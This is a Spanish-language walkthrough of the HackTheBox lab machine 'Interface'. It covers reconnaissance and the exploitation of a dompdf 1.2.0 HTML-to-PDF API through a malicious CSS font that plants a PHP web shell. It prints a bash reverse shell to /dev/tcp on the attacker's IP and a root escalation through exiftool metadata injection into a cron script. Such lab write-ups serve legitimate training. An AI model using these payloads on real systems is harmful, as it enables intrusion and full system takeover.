Interface



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.200 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-20 15:41 GMT
Nmap scan report for 10.10.11.200
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.56 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.200 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-20 15:44 GMT
Nmap scan report for 10.10.11.200
Host is up (0.055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
|   256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_  256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.38 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnologias que emplea el servidor web

whatweb http://10.10.11.200
http://10.10.11.200 [200 OK] Country[RESERVED][ZZ], Email[contact@interface.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.200], Script[application/json], UncommonHeaders[content-security-policy], X-Powered-By[Next.js], nginx[1.14.0]

La página principal se ve así:

Introduzco una ruta que no existe para ver su respuesta

Se está empleando NextJS

Me descargo todos los scripts en JS que se insertan en el código fuente

for i in $(curl -s -X GET http://10.10.11.200 | grep -oP '".*?"' | tr -d '"' | grep "js$"); do wget http://10.10.11.200/$i; done

Utilizo js-beautify para darles un formato legible

 js-beautify *
beautified _app-df511a3677d160f6.js
beautified _buildManifest.js
beautified framework-8c5acb0054140387.js
beautified index-c95e13dd48858e5b.js
beautified main-50de763069eba4b2.js
beautified polyfills-c67a75d1b6f99dc8.js
beautified _ssgManifest.js
beautified webpack-ee7e63bc15b31913.js

Se está empleando una api

grep -ri "api" --color
main-50de763069eba4b2.js:                    if (!r && "link" === e.type && e.props.href && ["https://fonts.googleapis.com/css", "https://use.typekit.net/"].some(t => e.props.href.startsWith(t))) {
main-50de763069eba4b2.js:                            if ("/api" === e || e.startsWith("/api/")) return X({
main-50de763069eba4b2.js:                return t && t !== r && (o || !a.pathHasPrefix(e.toLowerCase(), "/".concat(t.toLowerCase())) && !a.pathHasPrefix(e.toLowerCase(), "/api")) ? n.addPathPrefix(e, "/".concat(t)) : e

En base a las cabeceras, devuelve un código de estado 404, por lo que no es del todo accesible

HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 20 May 2023 15:58:29 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Next.js
ETag: "11m5h59p5ot1tc"
Vary: Accept-Encoding
Content-Length: 2352

Sin embargo, al hacer lo mismo desde la raíz, se puede ver un subdominio en el Content-Security-Policy, que corresponde a un dominio interno de HackTheBox

curl -s -X GET http://10.10.11.200 -I
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 20 May 2023 16:01:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6359
Connection: keep-alive
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;
X-Powered-By: Next.js
ETag: "i8ubiadkff4wf"
Vary: Accept-Encoding

Añado prd.m.rendering-api.interface.htb y interface.htb al /etc/hosts

Espera un archivo

curl -s -X GET http://prd.m.rendering-api.interface.htb/
File not found.

Fuzzeando solo encuentra la ruta /vendor

gobuster dir -u http://prd.m.rendering-api.interface.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/05/20 16:08:00 Starting gobuster in directory enumeration mode
===============================================================
/vendor               (Status: 403) [Size: 15]
                                              
===============================================================
2023/05/20 16:11:56 Finished
===============================================================

Tramito de nuevo la petición, pero esta vez al dominio en vez de la IP

GET /api HTTP/1.1
Host: prd.m.rendering-api.interface.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 20 May 2023 16:11:53 GMT
Content-Type: application/json
Connection: close
Content-Length: 50

{"status":"404","status_text":"route not defined"}

Con feroxbuster encuentro una ruta /html2pdf. La razón es porque además de GET, se puede probar otros métodos, en este caso POST

feroxbuster -u http://prd.m.rendering-api.interface.htb/api -m GET,POST

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://prd.m.rendering-api.interface.htb/api
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET, POST]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        3w       50c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404     POST        1l        3w       50c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
422     POST        1l        2w       36c http://prd.m.rendering-api.interface.htb/api/html2pdf
[####################] - 64s    60000/60000   0s      found:1       errors:0      
[####################] - 63s    60000/60000   949/s   http://prd.m.rendering-api.interface.htb/api/   

Solicita parámetros

curl -s -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf
{"status_text":"missing parameters"}

Como el servidor está empleando un framework Javascript, lo más probable es que esté esperando el parámetro en JSON. Utilizo wfuzz para descubrirlo

wfuzz -c --hc=422 -t 50 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Content-Type: application/json" -d '{"FUZZ": "test"}' http://prd.m.rendering-api.interface.htb/api/html2pdf
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://prd.m.rendering-api.interface.htb/api/html2pdf
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000078:   200        0 L      0 W        0 Ch        "html"

Lo replico en BurpSuite. En las cabeceras de respuesta se puede ver el nombre de exportación

POST /api/html2pdf HTTP/1.1
Host: prd.m.rendering-api.interface.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 20

{"html": "test"}
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 21 May 2023 07:33:55 GMT
Content-Type: application/pdf
Content-Length: 1131
Connection: close
X-Local-Cache: miss
Cache-Control: public
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=export.pdf

%PDF-1.7
1 0 obj
<< /Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R >>
endobj
2 0 obj
<< /Type /Outlines /Count 0 >>
endobj
3 0 obj
<< /Type /Pages
/Kids [6 0 R
]
/Count 1
/Resources <<
/ProcSet 4 0 R
/Font << 
/F1 8 0 R
>>
>>
/MediaBox [0.000 0.000 419.530 595.280]
 >>
endobj
4 0 obj
[/PDF /Text ]
endobj
5 0 obj
<<
/Producer (þÿ

Almaceno el PDF en un archivo

curl -s -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf -H "Host: prd.m.rendering-api.interface.htb" -H "Content-Type: application/json" -d '{"html": "test"}' -o test
file test
test: PDF document, version 1.7, 0 pages

Contiene únicamente la cadena que le he pasado como input

Se ha creado con dompdf 1.2.0

exiftool test -Producer
Producer                        : dompdf 1.2.0 + CPDF

Existe un exploit para esta versión en exploit-db

searchsploit dompdf
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                 |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read                                                                                                                           | php/webapps/33004.txt
dompdf 0.6.0 beta1 - Remote File Inclusion                                                                                                                                     | php/webapps/14851.txt
Dompdf 1.2.1 - Remote Code Execution (RCE)                                                                                                                                     | php/webapps/51270.py
TYPO3 Extension ke DomPDF - Remote Code Execution                                                                                                                              | php/webapps/35443.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
searchsploit -m php/webapps/51270.py .
mv 51270.py exploit.py

En este artículo se pueden ver más detalles de en que consiste. Envío desde BurpSuite el siguiente payload, y recibo una petición por GET a mi equipo

{"html": "Test<link rel=stylesheet href='http://10.10.16.21/test.css'>"}

Este archivo CSS va a tratar de insertar una fuente, la cual contiene código en PHP

@font-face {
   font-family:'TestFont';
   src:url('http://10.10.16.21/test_font.php');
   font-weight:'normal';
   font-style:'normal';
 }

Pero tiene que estar representado de cierta forma para que lo interprete

Es probable que los nombres de los archivos se queden cacheados y haya que cambiarlos. En mi caso, tuve que renombrarlos varias veces hasta conseguir RCE. El fichero PHP se almacena en una ruta tomando el hash MD5 de donde se extrajo

echo -n 'http://10.10.16.21/test2.php' | md5sum
a6cb27becd76992a3dc0ddb7067c238a  -

Modifico el payload para poder ejecutar comandos a través de un parámetro por GET

<?php system($_REQUEST['cmd']); ?>

Me envío una reverse shell

curl -s -X GET http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/testfont_normal_bed5d2608a49b41b41378d8f3f76a512.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.16.21/443%200%3E%261%27

La recibo en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.11.200] 56092
bash: cannot set terminal process group (1356): Inappropriate ioctl for device
bash: no job control in this shell
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ script /dev/null -c bash
<r/dompdf/dompdf/lib/fonts$ script /dev/null -c bash     
Script started, file is /dev/null
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ export TERM=xterm
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ export SHELL=bash
9ww-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ stty rows 55 columns 20

Puedo ver la primera flag

www-data@interface:/home/dev$ cat user.txt 
981877441c3fdf05ae0492c753c0547e

Escalada

Subo el pspy para encontrar tareas que se ejecutan a intervalos regulares de tiempo

2023/05/21 08:42:01 CMD: UID=0    PID=44570  | /usr/sbin/CRON -f 
2023/05/21 08:42:01 CMD: UID=0    PID=44572  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/21 08:42:01 CMD: UID=0    PID=44571  | /bin/sh -c /usr/local/sbin/cleancache.sh 
2023/05/21 08:42:01 CMD: UID=0    PID=44575  | cut -d   -f1 
2023/05/21 08:42:01 CMD: UID=0    PID=44574  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/eviltest_original 
2023/05/21 08:42:01 CMD: UID=0    PID=44573  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/21 08:42:02 CMD: UID=0    PID=44576  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/21 08:42:02 CMD: UID=0    PID=44578  | cut -d   -f1 
2023/05/21 08:42:02 CMD: UID=0    PID=44577  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/pspy 

Se está ejecutando un script de bash

www-data@interface:/tmp$ cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

Por cada archivo dentro del directorio /tmp, se pasa como argumento a exiftool para que extraiga los metadatos de Producer. En caso de que se detecte que es igual a dompdf, se eliminará

Modifico la bash a SUID

www-data@interface:/tmp$ touch test
www-data@interface:/tmp$ exiftool -Producer='x[$(chmod${IFS}u+s${IFS}/bin/bash)]' test
www-data@interface:/tmp$ exiftool -Producer='arr[$(/tmp/pwned.sh)]' pwned

Puedo ver la segunda flag

www-data@interface:/tmp$ bash -p
bash-4.4# cat /root/root.txt 
ed20fb3372ad80be3c93ea73e9a7d3db